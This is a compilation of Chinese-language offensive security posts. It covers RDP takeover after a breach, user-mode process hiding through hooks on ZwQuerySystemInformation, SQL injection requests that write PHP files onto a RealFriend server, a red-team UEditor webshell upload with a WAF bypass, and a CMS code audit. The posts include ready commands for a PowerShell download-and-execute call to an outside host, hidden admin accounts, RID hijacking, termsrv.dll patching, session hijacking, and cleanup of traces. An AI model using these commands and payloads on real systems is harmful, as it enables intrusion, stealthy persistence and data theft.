在获取权限后,针对3389进行展开,先查询3389端口是否开启
netstat -ano | findstr 3389
发现没有开启(也有可能更改了端口),则可以通过注册表进行手动启动(需要管理员权限)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f (开启)
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f (关闭)
若执行失败,可能由于系统版本过旧(以下开启命令适用于Windows Server 2003之前系统)
wmic path Win32_TerminalServiceSetting where (__class = "Win32_TerminalServiceSetting") call SetAllowTSConnections 1(开启)
wmic path Win32_TerminalServiceSetting where (__class = "Win32_TerminalServiceSetting") call SetAllowTSConnections 0(关闭)
有些运维人员会勾选”仅允许使用网络级别的身份验证的远程桌面的计算机连接”选项,我们也可以通过注册表进行关闭,避免影响连接(开启同理0替换成1)
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
为了避免运维人员更改了RDP端口,可以确认下RDP端口
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber
正常若是3389端口为0xd3d(默认是十六进制表示)
在这里还需要保证防火墙等安全设备没有禁止且相互之间网络必须相通,这里防火墙设置只允许单独端口放通,减少运维人员的警觉(只允许3389端口放通)
netsh advfirewall firewall add rule name="RemoteDesktop" protocol=TCP dir=in localport=3389 action=allow
通过命令删除防火墙的通行策略(清理痕迹)
netsh advfirewall firewall delete rule name="RemoteDesktop"
克隆账户接管administrator桌面
适用场景
在无法获取明文密码或者Hash等凭据,但是想接管实时的administrator桌面
利用步骤(默认情况下需要system权限)
在administrator权限下进行切换(利用PsExec工具进行powershell无文件落地上线system权限)
shell "PsExec64.exe -accepteula -s powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.108.132:8080/a'))""
(-accepteula同意最终用户许可协议End User License Agreement,否则会弹窗无法运行)
查询用户的SID,方便选择克隆对象(常克隆Guest用户,系统自带不易察觉且默认的SID为501)
这里克隆administrator用户为Guest用户,将SID为500(对应十六进制为0x1f4)的管理员账号的相关信息导出为admin.reg
regedit /e admin.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
将注册表文件下载到本地方便编辑(下载后默认在本地CS目录的下的download文件夹下,文件下载后需要重命名)
download admin.reg
将admin.reg文件的第三行HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4中的“1F4”修改为Guest的SID为1F5(十六进制),并保存为new.reg(方便区分)
将new.reg重新上传到受害机中
导入编辑好的new.reg文件
regedit /s new.reg
修改Guest密码便于远程登录,并及时清理两个reg文件
net user Guest Admin@123
del /F C:\Users\Administrator\Desktop\admin.reg C:\Users\Administrator\Desktop\new.reg
此时直接进行远程登录Guest账户,其实是administrator账户的系统,成功接管!
新建隐藏管理员+远程软件+会话劫持组合拳接管administrator桌面
适用场景
在无法获取明文密码或者Hash等凭据,但是想接管实时的administrator桌面
利用步骤
添加新隐藏用户
net user yuzi$ Admin@123 /add
将新隐藏用户添加到管理员组
net localgroup administrators yuzi$ /add
此时直接进行远程登录隐藏账户,进行图形化操作
若遇到对方已有用户在线,可能会出现以下界面(Windows sever版本默认支持多用户同时在线,Windows其他版本不支持)
此时为了做到更加隐蔽的进行登录(强迫登录会使对方会话掉线),可以修改termsrv.dll文件实现,操作前要将所有权转移给本地管理员,向本地管理员组授予对termsrv.dll文件的“完全控制”权限(若是通过powershell无文件远控的形式执行如下命令可能会出现问题,则需要在可执行木马的远控场景执行命令)
takeown /F c:\Windows\System32\termsrv.dll /A
icacls c:\Windows\System32\termsrv.dll /grant Administrators:F
修改系统文件可能会导致系统不稳定,确保有原始termsrv.dll文件的备份
copy c:\Windows\System32\termsrv.dll termsrv.dll_backup
接下来将对方的c:\Windows\System32\termsrv.dll文件下载至本地
download c:\Windows\System32\termsrv.dll
在编辑dll前需要确认当前系统的版本号,查看Windows的版本号
powershell Get-ComputerInfo -Property WindowsVersion, OsName
通过十六进制文本编辑器进行编辑termsrv.dll文件,按照不同的Windows的版本查找对应的字符串标识,替换为B8 00 01 00 00 89 81 38 06 00 00 90
修改完成后上传至对方,进行强制替换系统自带的termsrv.dll,(替换前需要先停止远程服务,以免发生冲突,替换后再重新启用远程服务)
net stop TermService /y
copy /y C:\Users\Administrator\Desktop\termsrv.dll c:\windows\system32\termsrv.dll
net start TermService
重新进行3389远程连接,发现已经可以直接登录到新建隐藏管理员桌面,不再出现提示页面
借助Windows的特性,直接在新建隐藏管理员桌面安装轻量级的远控桌面软件并运行(这里以GotoHTTP为例)
在攻击机本地进行GotoHTTP远程桌面时候,发现已经成功接管了administrator的实时桌面(由于GotoHTTP是以管理员身份运行的故显示的administrator桌面)
若运气不好,发现利用GotoHTTP远程后在锁定页面,此时还可以配合会话劫持进行接管administrator实时桌面
接下来进行劫持(劫持administrator的会话),查询可劫持的会话
quser
以管理员权限运行cmd,创建服务(用于会话劫持的权限需要system,恰好Windows的服务是以system权限运行,其中的1为需要劫持的ID值)
sc create rdp binpath= "cmd.exe /k tscon 1 /dest:console"
启动并且删除服务后,发现此时的GotoHTTP页面已经成功进入解锁状态的桌面
sc start rdp & sc delete rdp & exit
远程结束后进行删除隐藏用户(清理痕迹,这类隐藏用户容易发现)
net user yuzi$ /delete
浅谈进程隐藏技术
前言
在之前几篇文章已经学习了解了几种钩取的方法
● 浅谈调试模式钩取
● 浅谈热补丁
● 浅谈内联钩取原理与实现
● 导入地址表钩取技术
这篇文章就利用钩取方式完成进程隐藏的效果。
进程遍历方法
在实现进程隐藏时,首先需要明确遍历进程的方法。
CreateToolhelp32Snapshot
CreateToolhelp32Snapshot函数用于创建进程的镜像,当第二个参数为0时则是创建所有进程的镜像,那么就可以达到遍历所有进程的效果。
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
int main()
{
//设置编码,便于后面能够输出中文
setlocale(LC_ALL, "zh_CN.UTF-8");
//创建进程镜像,参数0代表创建所有进程的镜像
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
std::cout << "Create Error" << std::endl;
exit(-1);
}
/*
* typedef struct tagPROCESSENTRY32 {
* DWORD dwSize; 进程信息结构体大小,首次调用之前必须初始化
* DWORD cntUsage; 引用进程的次数,引用次数为0时,则进程结束
* DWORD th32ProcessID; 进程的ID
* ULONG_PTR th32DefaultHeapID; 进程默认堆的标识符,除工具使用对我们没用
* DWORD th32ModuleID; 进程模块的标识符
* DWORD cntThreads; 进程启动的执行线程数
* DWORD th32ParentProcessID; 父进程ID
* LONG pcPriClassBase; 进程线程的基本优先级
* DWORD dwFlags; 保留
* TCHAR szExeFile[MAX_PATH]; 进程的路径
* } PROCESSENTRY32;
* typedef PROCESSENTRY32 *PPROCESSENTRY32;
*/
PROCESSENTRY32 pi;
pi.dwSize = sizeof(PROCESSENTRY32);
//取出第一个进程
BOOL bRet = Process32First(hSnapshot, &pi);
while (bRet)
{
wprintf(L"进程路径:%s\t进程号:%d\n", pi.szExeFile, pi.th32ProcessID);
//取出下一个进程
bRet = Process32Next(hSnapshot, &pi);
}
}
EnumProcesses
EnumProcesses用于将所有进程号的收集。
#include <iostream>
#include <Windows.h>
#include <Psapi.h>
int main()
{
setlocale(LC_ALL, "zh_CN.UTF-8");
DWORD processes[1024], dwResult, size;
unsigned int i;
//收集所有进程的进程号
if (!EnumProcesses(processes, sizeof(processes), &dwResult))
{
std::cout << "Enum Error" << std::endl;
}
//进程数量
size = dwResult / sizeof(DWORD);
for (i = 0; i < size; i++)
{
//判断进程号是否为0
if (processes[i] != 0)
{
//用于存储进程路径
TCHAR szProcessName[MAX_PATH] = { 0 };
//使用查询权限打开进程
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE,
processes[i]);
if (hProcess != NULL)
{
HMODULE hMod;
DWORD dwNeeded;
//收集该进程的所有模块句柄,第一个句柄则为文件路径
if (EnumProcessModules(hProcess, &hMod, sizeof(hMod),
&dwNeeded))
{
//根据句柄获取文件路径
GetModuleBaseName(hProcess, hMod, szProcessName,
sizeof(szProcessName) / sizeof(TCHAR));
}
wprintf(L"进程路径:%s\t进程号:%d\n", szProcessName, processes[i]);
}
}
}
}
ZwQuerySystemInfomation
ZwQuerySystemInfomation函数是CreateToolhelp32Snapshot函数与EnumProcesses函数底层调用的函数,也用于遍历进程信息。代码参考https://cloud.tencent.com/developer/article/1454933
#include <iostream>
#include <Windows.h>
#include <ntstatus.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
//定义函数指针
typedef NTSTATUS(WINAPI* NTQUERYSYSTEMINFORMATION)(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
);
int main()
{
//设置编码
setlocale(LC_ALL, "zh_CN.UTF-8");
//获取模块地址
HINSTANCE ntdll_dll = GetModuleHandle(L"ntdll.dll");
if (ntdll_dll == NULL) {
std::cout << "Get Module Error" << std::endl;
exit(-1);
}
NTQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
//获取函数地址
ZwQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(ntdll_dll, "ZwQuerySystemInformation");
if (ZwQuerySystemInformation != NULL)
{
SYSTEM_BASIC_INFORMATION sbi = { 0 };
//查询系统基本信息
NTSTATUS status = ZwQuerySystemInformation(SystemBasicInformation, (PVOID)&sbi, sizeof(sbi), NULL);
if (status == STATUS_SUCCESS)
{
wprintf(L"处理器个数:%d\r\n", sbi.NumberOfProcessors);
}
else
{
wprintf(L"ZwQuerySystemInfomation Error\n");
}
DWORD dwNeedSize = 0;
BYTE* pBuffer = NULL;
wprintf(L"\t----所有进程信息----\t\n");
PSYSTEM_PROCESS_INFORMATION psp = NULL;
//查询进程数量
status = ZwQuerySystemInformation(SystemProcessInformation, NULL, 0, &dwNeedSize);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
pBuffer = new BYTE[dwNeedSize];
//查询进程信息
status = ZwQuerySystemInformation(SystemProcessInformation, (PVOID)pBuffer, dwNeedSize, NULL);
if (status == STATUS_SUCCESS)
{
psp = (PSYSTEM_PROCESS_INFORMATION)pBuffer;
wprintf(L"\tPID\t线程数\t工作集大小\t进程名\n");
do {
//获取进程号
wprintf(L"\t%d", psp->UniqueProcessId);
//获取线程数量
wprintf(L"\t%d", psp->NumberOfThreads);
//获取工作集大小
wprintf(L"\t%d", psp->WorkingSetSize / 1024);
//获取路径
wprintf(L"\t%s\n", psp->ImageName.Buffer);
//移动
psp = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)psp + psp->NextEntryOffset);
} while (psp->NextEntryOffset != 0);
delete[]pBuffer;
pBuffer = NULL;
}
else if (status == STATUS_UNSUCCESSFUL) {
wprintf(L"\n STATUS_UNSUCCESSFUL");
}
else if (status == STATUS_NOT_IMPLEMENTED) {
wprintf(L"\n STATUS_NOT_IMPLEMENTED");
}
else if (status == STATUS_INVALID_INFO_CLASS) {
wprintf(L"\n STATUS_INVALID_INFO_CLASS");
}
else if (status == STATUS_INFO_LENGTH_MISMATCH) {
wprintf(L"\n STATUS_INFO_LENGTH_MISMATCH");
}
}
}
}
进程隐藏
通过上述分析可以知道遍历进程的方式有三种,分别是利用CreateToolhelp32Snapshot、EnumProcesses以及ZwQuerySystemInfomation函数
但是CreateToolhelp32Snapshot与EnumProcesses函数底层都是调用了ZwQuerySystemInfomation函数,因此我们只需要钩取该函数即可。
由于测试环境是Win11,因此需要判断在Win11情况下底层是否还是调用了ZwQuerySystemInfomation函数。
可以看到在Win11下还是会调用ZwQuerySystemInfomation函数,在用户态下该函数的名称为NtQuerySystemInformation函数。
这里采用内联钩取的方式对ZwQuerySystemInfomation进行钩取处理,具体怎么钩取在已经介绍过了,这里就不详细说明了。这里对自定义的ZwQuerySystemInfomation函数进行说明。
首先第一步需要进行脱钩处理,因为后续需要用到初始的ZwQuerySystemInfomation函数,紧接着获取待钩取函数的地址即可。
...
//脱钩
UnHook("ntdll.dll", "ZwQuerySystemInformation", g_pOrgBytes);
HMODULE hModule = GetModuleHandleA("ntdll.dll");
//获取待钩取函数的地址
PROC pfnOld = GetProcAddress(hModule, "ZwQuerySystemInformation");
//调用原始的ZwQuerySystemInfomation函数
NTSTATUS status = ((NTQUERYSYSTEMINFORMATION)pfnOld)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
...
为了隐藏指定进程,我们需要遍历进程信息,找到目标进程并且删除该进程信息实现隐藏的效果。这里需要知道的是进程信息都存储在SYSTEM_PROCESS_INFORMATION结构体中,该结构体是通过单链表对进程信息进行链接。因此我们通过匹配进程名称找到对应的SYSTEM_PROCESS_INFORMATION结构体,然后进行删除即可,效果如下图。
通过单链表中删除节点的操作,取出目标进程的结构体。代码如下
...
pCur = (PSYSTEM_PROCESS_INFORMATION)(SystemInformation);
while (true)
{
if (!lstrcmpi(pCur->ImageName.Buffer, L"test.exe"))
{
//需要隐藏的进程是最后一个节点
if (pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
//不是最后一个节点,则将该节点取出
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
//不是需要隐藏的节点,则继续遍历
else
pPrev = pCur;
//链表遍历完毕
if (pCur->NextEntryOffset == 0)
break;
pCur = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)pCur + pCur->NextEntryOffset);
}
...
完整代码:https://github.com/h0pe-ay/HookTechnology/blob/main/ProcessHidden/inlineHook.c
但是采用内联钩取的方法去钩取任务管理器就会出现一个问题,这里将断点取消,利用内联钩取的方式去隐藏进程。
首先利用bl命令查看断点
紧着利用 bc [ID]删除断点
在注入之后任务管理器会在拷贝的时候发生异常
在经过一番调试后发现,由于多线程共同执行导致原本需要可写权限的段被修改为只读权限
在windbg可以用使用!vprot + address查看指定地址的权限,可以看到由于程序往只读权限的地址进行拷贝处理,所以导致了异常。
但是在执行拷贝阶段是先修改了该地址为可写权限,那么导致该原因的情况就是其他线程执行了权限恢复后切换到该线程中进行写,所以导致了这个问题。
因此内联钩取是存在多线程安全的问题,此时可以使用微软自己构建的钩取库Detours,可以在钩取过程中确保线程安全。
Detours
项目地址:https://github.com/microsoft/Detours
环境配置
参考:https://www.cnblogs.com/linxmouse/p/14168712.html
使用vcpkg下载
vcpkg.exe install detours:x86-windows
vcpkg.exe install detours:x64-windows
vcpkg.exe integrate install
实例
挂钩
利用Detours挂钩非常简单,只需要根据下列顺序,并且将自定义函数的地址与被挂钩的地址即可完成挂钩处理。
...
//用于确保在 DLL 注入或加载时,恢复被 Detours 修改的进程镜像,保持稳定性
DetourRestoreAfterWith();
//开始一个新的事务来附加或分离
DetourTransactionBegin();
//进行线程上下文的更新
DetourUpdateThread(GetCurrentThread());
//挂钩
DetourAttach(&(PVOID&)TrueZwQuerySystemInformation, ZwQuerySystemInformationEx);
//提交事务
error = DetourTransactionCommit();
...
脱钩
然后根据顺序完成脱钩即可。
...
//开始一个新的事务来附加或分离
DetourTransactionBegin();
//进行线程上下文的更新
DetourUpdateThread(GetCurrentThread());
//脱钩
DetourDetach(&(PVOID&)TrueZwQuerySystemInformation, ZwQuerySystemInformationEx);
//提交事务
error = DetourTransactionCommit();
...
挂钩的原理
从上述可以看到,Detours是通过事务确保了在DLL加载与卸载时后的原子性,但是如何确保多线程安全呢?后续通过调试去发现。
可以利用x ntdl!ZwQuerySystemInformation查看函数地址,可以看到函数的未被挂钩前的情况如下图。
挂钩之后原始的指令被修改为一个跳转指令把前八个字节覆盖掉,剩余的3字节用垃圾指令填充。
该地址里面又是一个jmp指令,并且完成间接寻址的跳转。
该地址是自定义函数ZwQuerySystemInformationEx,因此该间接跳转是跳转到的自定义函数内部。
跳转到TrueZwQuerySystemInformation内部发现ZwQuerySystemInformation函数内部的八字节指令被移动到该函数内部。紧接着又完成一个跳转。
该跳转到ZwQuerySystemInformation函数内部紧接着完成ZwQuerySystemInformation函数的调用。
综上所述,整体流程如下图。实际上Detours实际上使用的是热补丁的思路,但是Detours并不是直接在原始的函数空间中进行补丁,而是开辟了一段临时空间,将指令存储在里面。因此在挂钩后不需要进行脱钩处理就可以调用原始函数。因此就不存在多线程中挂钩与脱钩的冲突。
完整代码:https://github.com/h0pe-ay/HookTechnology/blob/main/ProcessHidden/detoursHook.c
瑞友天翼应用虚拟化系统SQL注入漏洞
最近网上公开了一些瑞友天翼应用虚拟化系统的 SQL 注入漏洞,经过挖掘发现,还存在一些后台 SQL 注入漏洞。
重点关注传入参数可控并且拼接到 SQL 语句中的代码。
getappicon
首先检测了登录状态,然后将通过 GET 获取到的参数 id 直接拼接到 SQL 语句中。
GET /hmrao.php?s=/Admin/getappicon/&id=1');SELECT+SLEEP(5)+AND('1 HTTP/1.1
Host: 192.168.222.145
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.222.145/hmrao.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0
Connection: close
我们打印出执行的 SQL 语句,发现成功闭合 SQL。
GET /hmrao.php?s=/Admin/getappicon/&id=1');select%20'<?php%20phpinfo();?>'%20into%20outfile%20%27C:\\Program%20Files%20(x86)\\RealFriend\\Rap%20Server\\WebRoot\\test1.php%27%23 HTTP/1.1
Host: 192.168.222.145
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.222.145/hmrao.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0
Connection: close
成功将文件写到根目录下。
useredit
首先检测了登录状态,然后将通过 GET 获取到的参数 id 直接拼接到 SQL 语句中。
我们看到这里检测登录状态的函数是 adminchecklogin
这里进行检测时会根据路由 sessId 来进行检测,所有需要将cookie 拼接在路由器上。
GET /hmrao.php?s=/Admin/useredit/sessId/c3gnn42nnfafaei5im0ti44tp2&uid=1');SELECT+SLEEP(5)%23 HTTP/1.1
Host: 192.168.222.145
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.222.145/hmrao.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0
Connection: close
GET /hmrao.php?s=/Admin/useredit/sessId/c3gnn42nnfafaei5im0ti44tp2&uid=1');select%20'<?php%20phpinfo();?>'%20into%20outfile%20%27C:\\Program%20Files%20(x86)\\RealFriend\\Rap%20Server\\WebRoot\\test2.php%27%23 HTTP/1.1
Host: 192.168.222.145
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.222.145/hmrao.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0
Connection: close
成功将文件写到根目录下。
appedit
首先检测了登录状态,然后将通过 GET 获取到的参数 id 直接拼接到 SQL 语句中。
这里检测登录状态的函数同样也是 adminchecklogin
所以也需要将cookie 拼接在路由中。
GET /hmrao.php?s=/Admin/appedit/sessId/c3gnn42nnfafaei5im0ti44tp2&id=0');select+sleep(5)%23 HTTP/1.1
Host: 192.168.222.145
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.222.145/hmrao.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0
Connection: close
GET /hmrao.php?s=/Admin/appedit/sessId/c3gnn42nnfafaei5im0ti44tp2&id=0');select%20'<?php%20phpinfo();?>'%20into%20outfile%20%27C:\\Program%20Files%20(x86)\\RealFriend\\Rap%20Server\\WebRoot\\test.php%27%23 HTTP/1.1
Host: 192.168.222.145
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.222.145/hmrao.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0
Connection: close
成功将文件写到根目录下。
记某次攻防演练:大战UEditor并突破
前言
最近参与某次攻防演练,通过前期信息收集,发现某靶标单位存在某域名备案。
通过fofa搜索子域名站点,发现存在一个子域名的61000端口开放着一个后台,于是开始进行渗透。
目录扫描
进行目录扫描吗,发现/bin.rar路径可以访问到一个压缩文件。
使用下载器下载到电脑,打开压缩包,猜测内容为站点源代码,代码为.net形式,使用c#语言编写。
C#代码经过编译后为dll文件形式,根据dll文件命名规则和.net类型代码格式。我们可以初步判定xxx.Application.Web.dll文件中存在主要的后端逻辑代码。
但是dll为二进制文件我们无法直接查看,因此需要使用dnspy进行反编译查看。
查看方法:将dll文件丢入dnspy即可。
UEditor的曲折利用
在源码中发现该系统使用UEditor。
可得UEditor的路径/Utility/UEditor/controller.ashx
访问关键接口/Utility/UEditor/?action=catchimage和/Utility/UEditor/?action=config
然而服务器返回403无法访问。
通过Fuzz发现403的原因是有可能是因为waf或者edr的拦截。
使用/Utility/UEditor/.css?action=catchimage可进行bypass,成功访问关键接口。
接下来就是参考UEditor .net版本的任意文件上传漏洞进行上传哥斯拉jsp webshell。
漏洞利用参考链接:
https://www.freebuf.com/vuls/181814.html上传过程中发现普通哥斯拉jsp webshell上传后就被杀软拦截无法访问。
于是用https://github.com/Tas9er/ByPassGodzilla项目对webshell进行免杀处理。
方可成功上传webshell并进行连接,至此该UEditor站点利用完成,后面就是愉快的打内网。
UEditor的简便利用
传统的UEditor利用都是本地编写一个html文件中包含一个表单,通过提交表单使目标服务器根据提交的图片马地址下载webshell。
<form action="http://xxxxxxxxx/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<inputtype="submit" value="Submit" />
</form>
原理还是通过http请求发送图片马地址,所以直接在burpsuite发包也可以达到相同的效果,省去制作html文件的步骤。
POST /替换漏洞URL地址拼接/UEditor/controller.ashx?action=catchimage HTTP/1.1
Host: x.x.x.x
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
source[]=http://替换为自己服务器开启http服务的URL地址/666.jpg?.aspx
请求发送后,返回包返回webshell路径。
总结
UEditor作为热门常见漏洞,在大型企业集团中的.net老旧系统中非常常见,相关的利用方法以及绕过方法需要非常熟练,方可快人一步迅速拿下权限;
在渗透测试过程中,我们可能会遇到一些与实验环境或他人分享的情况不同的挑战。这时,我们需要具备排查问题原因的能力。例如,在利用漏洞的过程中,可能会遇到无法上传webshell或请求被WAF拦截等情况。我们需要根据场景,修改payload或使用fuzz等技术进行绕过,直到成功利用漏洞并获取所需的权限,完成渗透。大战UEditor并突破。
记录一次CMS的代码审计
本次代码审计使用了白加黑的手法,用黑盒的视角测试功能点,用白盒的方式作为验证。
0x1 XSS
guestbook处,可以看到有一个留言板
idea搜索guestbook。发现代码如下,其中的getModel是获取数据的方法。Guestbook.class就是具体要获取的数据。
跟进Guestbook.class查看,发现GuestBook继承自BaseGuestbook
继续跟进BaseGuestbook可以发现http请求的数据,没有发现有过滤函数。
然后使用管理员登录后台查看留言,发现确实如我所想,存在xss漏洞。
ps:审计小技巧,开启sql日志然后一边打payload一边看记事本是否漏掉过滤哪些字符。这里是完全没有过滤,所以在出库的时候如果没有防护,基本上就是实锤xss了。
0x2 SQL注入
在产品中心发现有一个搜索框
看到源码,没有发现有过滤字符,这里采用之前开启的mysql日志,通过日志文件的sql语句判断是否有过滤。
直接输入单引号发现该cms返回500报错,很有可能存在sql注入。
于是使用两个单引号''使得系统不抛出异常,然后查看日志文件中发现sql语句没有过滤单引号,说明注入确实存在。
or 1 结果
or 0结果 注入确实存在
0x3 文件下载
/common/down路由中的file方法,直接获取http请求中的filekey参数,并且没有过滤../等关键字符。fileKey的值和PathKit.getWebRootPath()函数的返回值拼接。然后fileKey其实就是http中的参数。
ps:该路由不在前台,只能通过白盒的方式去进行,但是后续通过github上的fuzz字典发现也可以fuzz得到但是fuzz发包数量巨大不作为参考。但是日后如果实在挖不出洞,可以考虑多fuzz一下,也许就出货了也说不准。这里用的字典较大,其实可以考虑小一些的字典,算是个人的一些挖洞经验吧。
参数的fuzz
0x4 csrf
在系统管理-> 系统用户 -> 添加用户处,抓包然后使用burp生成csrf poc
保存至html后,点击submit request
可以看到用户被成功添加了
0x5 组合拳+sql备份getshell未果(条件较为苛刻)
这里是想getshell来着,毕竟都白盒了,当然能getshell就getshell,不能getshell就想办法getshell了。这里是发现后台上传接口,过滤了jsp,jspx文件名。
发现公司管理->基础内容->公司信息有上传图片
上传jsp文件,jspx文件均被拦截。
然后发现系统管理->数据库管理处发现可以进行数据库备份还原操作。在数据库还原抓包,发现是一个sql文件名字。这里想到之前的任意文件下载,那么岂不是可以通过上传一个sql文件,然后通过备份这个sql文件进行数据库备份getshell。
首先去下载备份好的sql文件,路径在static/back/文件名
然后添加getshell的payload
然后上传该sql文件,注意需要改后缀名为png
然后sql备份处填写上文件名,使用../让系统跨目录读取png图片
然后查看payload上的1.jsp是否成功生成。
访问的时候失败了,无法解析jsp,jspx等文件,但是服务器确实有写入了jsp文件
得到了两个前置条件
需要知道系统的绝对路径
系统下得开启其他能够解析的应用(如另外一个java系统在其他端口上,但是能够解析jsp,就可以通过该cms的漏洞在其他系统上写webshell,也算是一个任意文件写入,做到了"隔山打牛")
0x6 默认密码
一个比较容易忽略的点,通常admin的默认密码管理员基本都会在部署网站之后马上修改,但是如果类似有几个账户的情况下,管理员可能会忽略掉其他用户的默认密码。这里可以直接看sql文件。在其sql文件下发现有两个默认账号一个是admin,一个是read。
read登录成功
0x7 总结
本次代码审计强化学习了白+黑的方式,更加简单的找出了漏洞,有些地方还欠缺一些思路,比如0x5rce那一块,想着是不是可以写一个class文件达到rce的效果。或者覆盖掉原本的xml文件之类的操作,不允许上传jsp,jspx文件是否可以通过上传war包来进行getshell。总之觉得还有诸多不足,篇幅关系记录到这。
浅谈热补丁的钩取方式
前言
热补丁的钩取方式是为了解决内联钩取在多线程情况下会出错的情况,使用热补丁的钩取可以避免重复读写指令造成问题。
内联钩取潜在问题
正常情况下,在每次跳转到自定义函数时需要将原始的指令(mov edi,edi)写回CreateProcessW函数内,为了后续正确调用CreateProcesW函数,在调用完毕之后,又需要进行挂钩的处理,即将mov指令修改为jmp指令。
但是在多线程的情况下就可能会出现下列问题,在进行mov指令篡改时可能会发生线程的切换,因为篡改指令的操作不是原子操作。那么在线程2时可能调用了CreateProcessW函数时可能跳转指令还没写完成,例如下图的jmp 0x12xx,而不是原本的jmp 0x1234就导致了执行出错。
为了解决此问题采用了热补丁钩取。
热补丁钩取
热补丁是指在不中断系统运行进行应用。即不中断程序运行也能够修改系统库或程序中的执行逻辑。
这里以CreateProcessW为例子
在windbg中使用以下指令在CreateProcessW函数中打下断点
.reload /f
bp CreateProcessW
可以看到CreateProcessW函数入口点是mov edi,edi指令,而在该指令上方有一段没用用到的空间,在windbg中使用int 3指令填充了。
而mov edi,edi指令本身没有实际意义,这就是微软在系统库预留的空间,用于打上热补丁。因为这个指令无论被修改成什么都不会影响程序的执行。
接着可以发现这跳指令的长度为2字节,因此可以使用任意的2字节长的指令替换mov edi,edi。
那么这里就需要寻找可以完成跳转的指令,并且仅占用2字节完成对mov指令的替换。
